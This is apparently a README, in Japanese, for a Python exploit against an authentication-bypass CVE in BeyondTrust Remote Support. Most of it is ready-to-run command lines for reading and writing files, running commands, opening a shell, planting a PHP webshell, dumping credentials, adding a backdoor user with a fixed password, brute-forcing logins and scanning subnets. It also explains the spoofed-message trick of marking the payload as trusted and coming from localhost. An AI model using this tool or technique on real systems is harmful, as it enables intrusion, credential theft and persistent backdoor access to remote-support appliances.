BeyondTrust Remote SupportにおけるCVE-2026-102764のPythonエクスプロイト:内部サービスメッセージを偽装して認証をバイパスし、ファイルの読み書き、コマンドの実行、認証情報のダンプを行います。
なりすましによる認証バイパスの脆弱性
CVSS v3.1: 9.8 (CRITICAL) | CWE-290 | 活発な悪用 (CISA BOD 26-04)
BeyondTrust Remote Support ≤ v26.2.3
BeyondTrust Remote Support の内部コンポーネントは、メッセージの送信元を適切に検証しません。攻撃者は内部サービスメッセージをなりすまし、認証をバイパスしてアプライアンス上でファイル操作 (読み取り、書き込み、削除、一覧表示)、コマンド実行などを行うことができます。
# Quick vulnerability test
python3 exploit.py <target_ip> test
# Enumerate files
python3 exploit.py <target_ip> list /
# Read a file
python3 exploit.py <target_ip> read /opt/beyondtrust/rbs/config/config.xml
# Write a file
python3 exploit.py <target_ip> write /tmp/test.txt "Hello World"
# Execute command
python3 exploit.py <target_ip> exec "id"
# Interactive shell
python3 exploit.py <target_ip> shell
# Upload file
python3 exploit.py <target_ip> upload /remote/path /local/path
# Download file
python3 exploit.py <target_ip> download /remote/path /local/path
# Create webshell
python3 exploit.py <target_ip> webshell
# Gather info
python3 exploit.py <target_ip> info
# Dump credentials
python3 exploit.py <target_ip> creds
# Add backdoor user
python3 exploit.py <target_ip> add-user rbs-backdoor Backdoor123!
# Brute force credentials
python3 exploit.py <target_ip> brute-force
# List active sessions
python3 exploit.py <target_ip> sessions
# Scan critical files
python3 exploit.py <target_ip> scan-files
| フラグ | 説明 |
|---|---|
--port, -p | 対象ポート (デフォルトで自動検出) |
--no-ssl | SSL/TLS を無効化 |
--timeout, -t | 接続タイムアウト (秒) |
--retries, -r | リトライ回数 |
--service, -s | なりすましサービス名 |
--verbose, -v | 詳細出力 |
--json | JSON 出力 |
--scan | サブネットをスキャン |
--output, -o | 出力ファイル |
python3 exploit.py --scan 192.168.1.0/24
このエクスプロイトは、BeyondTrust 内部プロトコルヘッダーを持つなりすましバイナリメッセージを作成することで機能します:
+--------+--------+------+----------+--------+---------+
| Magic | Type | Flag | Length | SID | Checksum|
| 6 bytes| 1 byte | 1 byte| 4 bytes| 4 bytes| 4 bytes |
+--------+--------+------+----------+--------+---------+
| Payload (JSON) |
+--------------------------------------------------------------------+
重要な仕掛けは、JSON ペイロード内で trusted: true と source_ip: "127.0.0.1" を設定することです。これにより、アプライアンスは内部サービスからのメッセージとして受け入れてしまいます。
アクセスを取得した後、組み込みモジュールを使用して以下を実行します:
/opt/beyondtrust/rbs/webapp/shell.php に PHP ウェブシェルを作成